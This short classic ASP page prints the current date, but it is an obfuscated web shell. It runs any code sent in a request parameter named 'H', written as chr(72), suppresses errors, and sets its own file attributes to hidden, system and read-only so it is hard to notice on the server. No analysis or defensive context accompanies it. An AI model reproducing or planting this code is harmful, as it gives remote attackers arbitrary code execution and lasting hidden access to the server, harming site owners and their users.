<% dim H H=request(chr(72)) on error resume next execute H response.write(""):Set fso=CreateObject("Scripting.FileSystemObject"):Set f=fso.GetFile(Request.ServerVariables("PATH_TRANSLATED")):if f.attributes <> 39 then:f.attributes = 39:end if%> <% response.write formatdatetime(now,1)&"
" %>